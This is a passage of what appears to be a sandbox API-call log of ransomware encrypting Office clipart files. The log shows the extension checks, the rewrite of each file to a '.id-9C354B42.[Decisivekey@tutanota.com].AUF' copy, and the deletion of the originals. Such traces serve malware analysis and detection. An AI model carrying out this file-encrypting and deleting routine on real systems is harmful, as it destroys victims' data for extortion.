lstrlenW (lpString=".xlsx") returned 5 [0216.601] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.601] lstrlenW (lpString=".ppt") returned 4 [0216.601] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0216.601] lstrlenW (lpString=".zip") returned 4 [0216.601] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.601] lstrlenW (lpString=".rar") returned 4 [0216.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.601] lstrlenW (lpString=".bz2") returned 4 [0216.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.601] lstrlenW (lpString=".7z") returned 3 [0216.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0216.601] lstrlenW (lpString=".dbf") returned 4 [0216.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0216.602] lstrlenW (lpString=".1cd") returned 4 [0216.602] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 63 [0216.602] lstrlenW (lpString=".jpg") returned 4 [0216.602] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.606] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=2492) returned 1 [0216.606] CloseHandle (hObject=0x20c) returned 1 [0216.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 0x20 [0216.606] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0216.606] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.606] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.607] GetLastError () returned 0x0 [0216.607] ReadFile (in: hFile=0x20c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x9bc, lpOverlapped=0x0) returned 1 [0216.613] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0216.614] ReadFile (in: hFile=0x20c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.614] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.614] SetEndOfFile (hFile=0x1f8) returned 1 [0216.614] CloseHandle (hObject=0x1f8) returned 1 [0216.614] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.614] SetEndOfFile (hFile=0x20c) returned 1 [0216.615] CloseHandle (hObject=0x20c) returned 1 [0216.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.615] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0216.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0216.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0216.616] lstrlenW (lpString=".doc") returned 4 [0216.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.616] lstrlenW (lpString=".docx") returned 5 [0216.616] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.616] lstrlenW (lpString=".pdf") returned 4 [0216.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.616] lstrlenW (lpString=".xls") returned 4 [0216.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.616] lstrlenW (lpString=".xlsx") returned 5 [0216.616] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.616] lstrlenW (lpString=".ppt") returned 4 [0216.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0216.616] lstrlenW (lpString=".zip") returned 4 [0216.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.616] lstrlenW (lpString=".rar") returned 4 [0216.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.616] lstrlenW (lpString=".bz2") returned 4 [0216.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.616] lstrlenW (lpString=".7z") returned 3 [0216.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0216.616] lstrlenW (lpString=".dbf") returned 4 [0216.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0216.616] lstrlenW (lpString=".1cd") returned 4 [0216.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 63 [0216.616] lstrlenW (lpString=".jpg") returned 4 [0216.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.616] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=3228) returned 1 [0216.616] CloseHandle (hObject=0x20c) returned 1 [0216.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 0x20 [0216.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0216.617] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.617] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.617] GetLastError () returned 0x0 [0216.617] ReadFile (in: hFile=0x20c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xc9c, lpOverlapped=0x0) returned 1 [0216.618] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xca0, lpOverlapped=0x0) returned 1 [0216.619] ReadFile (in: hFile=0x20c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.619] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.619] SetEndOfFile (hFile=0x1f8) returned 1 [0216.619] CloseHandle (hObject=0x1f8) returned 1 [0216.620] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.620] SetEndOfFile (hFile=0x20c) returned 1 [0216.620] CloseHandle (hObject=0x20c) returned 1 [0216.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0216.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0216.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0216.621] lstrlenW (lpString=".doc") returned 4 [0216.621] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.621] lstrlenW (lpString=".docx") returned 5 [0216.621] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.621] lstrlenW (lpString=".pdf") returned 4 [0216.621] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.621] lstrlenW (lpString=".xls") returned 4 [0216.621] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.621] lstrlenW (lpString=".xlsx") returned 5 [0216.621] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.621] lstrlenW (lpString=".ppt") returned 4 [0216.621] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0216.621] lstrlenW (lpString=".zip") returned 4 [0216.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.621] lstrlenW (lpString=".rar") returned 4 [0216.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.621] lstrlenW (lpString=".bz2") returned 4 [0216.621] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.621] lstrlenW (lpString=".7z") returned 3 [0216.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0216.621] lstrlenW (lpString=".dbf") returned 4 [0216.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0216.621] lstrlenW (lpString=".1cd") returned 4 [0216.621] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0216.621] lstrlenW (lpString=".jpg") returned 4 [0216.621] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.622] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=4808) returned 1 [0216.622] CloseHandle (hObject=0x20c) returned 1 [0216.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 0x20 [0216.622] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0216.622] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.622] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.623] GetLastError () returned 0x0 [0216.623] ReadFile (in: hFile=0x20c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x12c8, lpOverlapped=0x0) returned 1 [0216.629] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x12d0, lpOverlapped=0x0) returned 1 [0216.630] ReadFile (in: hFile=0x20c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.630] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.630] SetEndOfFile (hFile=0x1f8) returned 1 [0216.630] CloseHandle (hObject=0x1f8) returned 1 [0216.630] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.630] SetEndOfFile (hFile=0x20c) returned 1 [0216.631] CloseHandle (hObject=0x20c) returned 1 [0216.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04369_.wmf")) returned 1 [0216.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0216.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0216.631] lstrlenW (lpString=".doc") returned 4 [0216.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.631] lstrlenW (lpString=".docx") returned 5 [0216.631] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.631] lstrlenW (lpString=".pdf") returned 4 [0216.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.631] lstrlenW (lpString=".xls") returned 4 [0216.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.631] lstrlenW (lpString=".xlsx") returned 5 [0216.631] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.631] lstrlenW (lpString=".ppt") returned 4 [0216.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0216.631] lstrlenW (lpString=".zip") returned 4 [0216.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.631] lstrlenW (lpString=".rar") returned 4 [0216.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.632] lstrlenW (lpString=".bz2") returned 4 [0216.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.632] lstrlenW (lpString=".7z") returned 3 [0216.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0216.632] lstrlenW (lpString=".dbf") returned 4 [0216.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0216.632] lstrlenW (lpString=".1cd") returned 4 [0216.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04369_.WMF") returned 63 [0216.632] lstrlenW (lpString=".jpg") returned 4 [0216.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.632] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=5004) returned 1 [0216.632] CloseHandle (hObject=0x20c) returned 1 [0216.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 0x20 [0216.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0216.632] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.632] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0216.634] GetLastError () returned 0x0 [0216.634] ReadFile (in: hFile=0x20c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x138c, lpOverlapped=0x0) returned 1 [0216.867] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0216.868] ReadFile (in: hFile=0x20c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.868] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.868] SetEndOfFile (hFile=0x1f8) returned 1 [0216.868] CloseHandle (hObject=0x1f8) returned 1 [0216.868] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.868] SetEndOfFile (hFile=0x20c) returned 1 [0216.869] CloseHandle (hObject=0x20c) returned 1 [0216.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0216.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0216.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0216.870] lstrlenW (lpString=".doc") returned 4 [0216.870] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.870] lstrlenW (lpString=".docx") returned 5 [0216.870] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.870] lstrlenW (lpString=".pdf") returned 4 [0216.870] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.870] lstrlenW (lpString=".xls") returned 4 [0216.870] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.870] lstrlenW (lpString=".xlsx") returned 5 [0216.870] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.870] lstrlenW (lpString=".ppt") returned 4 [0216.870] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0216.870] lstrlenW (lpString=".zip") returned 4 [0216.870] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.870] lstrlenW (lpString=".rar") returned 4 [0216.870] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.870] lstrlenW (lpString=".bz2") returned 4 [0216.870] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.870] lstrlenW (lpString=".7z") returned 3 [0216.870] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0216.870] lstrlenW (lpString=".dbf") returned 4 [0216.870] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0216.870] lstrlenW (lpString=".1cd") returned 4 [0216.870] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 63 [0216.870] lstrlenW (lpString=".jpg") returned 4 [0216.870] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.871] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=13515) returned 1 [0216.871] CloseHandle (hObject=0x20c) returned 1 [0216.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 0x20 [0216.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0216.871] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.871] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, 